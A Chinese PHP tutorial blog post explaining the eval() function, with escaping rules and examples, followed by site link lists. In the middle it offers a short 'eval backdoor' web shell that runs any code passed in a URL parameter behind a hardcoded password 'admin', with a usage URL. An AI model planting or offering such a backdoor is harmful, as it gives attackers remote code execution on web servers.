PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
开发大型 PHP 项目的方法
Jan 02 PHP
PHP操作文件方法问答
Mar 16 PHP
PHP中基本符号及使用方法
Mar 23 PHP
PHP函数学习之PHP函数点评
Jul 05 PHP
PHP中mysqli_affected_rows作用行数返回值分析
Dec 26 PHP
php通过获取头信息判断图片类型的方法
Jun 26 PHP
php实现爬取和分析知乎用户数据
Jan 26 PHP
PHP实现简单实用的分页类代码
Apr 08 PHP
PHP 将dataurl转成图片image方法总结
Oct 14 PHP
浅谈PHP的反射API
Feb 26 PHP
php微信公众号开发之现金红包
Apr 16 PHP
PHP类的自动加载与命名空间用法实例分析
Jun 05 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
ajax返回值中有回车换行、空格的解决方法分享
2013/10/24 PHP
yii2.0整合阿里云oss的示例代码
2017/09/19 PHP
jQuery EasyUI API 中文文档 - NumberSpinner数值微调器使用介绍
2011/10/21 Javascript
jQuery基本过滤选择器使用介绍
2013/04/18 Javascript
Bootstrap 组件之按钮(二)
2016/05/11 Javascript
BootStrap3学习笔记(一)之网格系统
2016/05/20 Javascript
jquery实现ajax加载超时提示的方法
2016/07/23 Javascript
详解Bootstrap各式各样的按钮(推荐)
2016/12/13 Javascript
nodejs批量下载图片的实现方法
2017/05/19 NodeJs
JavaScript实现的数字与字符串转换功能示例
2017/08/23 Javascript
bootstrap-table.js扩展分页工具栏(增加跳转到xx页)功能
2017/12/28 Javascript
vue-cli结合Element-ui基于cropper.js封装vue实现图片裁剪组件功能
2018/03/01 Javascript
微信小程序授权登录解决方案的代码实例(含未通过授权解决方案)
2019/05/10 Javascript
Python实现抓取百度搜索结果页的网站标题信息
2015/01/22 Python
Python中实现三目运算的方法
2015/06/21 Python
Python的Django框架中的数据过滤功能
2015/07/17 Python
浅析Python四种数据类型
2018/09/26 Python
pygame游戏之旅 计算游戏中躲过的障碍数量
2018/11/20 Python
python 实现在一张图中绘制一个小的子图方法
2019/07/07 Python
python 使用opencv 把视频分割成图片示例
2019/12/12 Python
python实现坦克大战
2020/04/24 Python
Python Selenium库的基本使用教程
2021/01/04 Python
pytorch Dataset,DataLoader产生自定义的训练数据案例
2021/03/03 Python
css3过渡_动力节点Java学院整理
2017/07/11 HTML / CSS
html5生成柱状图(条形图)效果的实例代码
2016/03/25 HTML / CSS
Willer台湾:日本高速巴士/夜行巴士预约
2017/07/09 全球购物
波兰汽车配件网上商店:iParts.pl
2020/09/08 全球购物
SQL数据库笔试题
2016/03/08 面试题
给实习单位的感谢信
2014/02/01 职场文书
人事部经理岗位职责
2014/03/07 职场文书
工程质量承诺书
2014/03/27 职场文书
食品销售计划书
2014/04/26 职场文书
新郎婚礼答谢词
2015/01/04 职场文书
因工资原因离职的辞职信范文
2015/05/12 职场文书
英雄儿女观后感
2015/06/09 职场文书
投诉信回复范文
2015/07/03 职场文书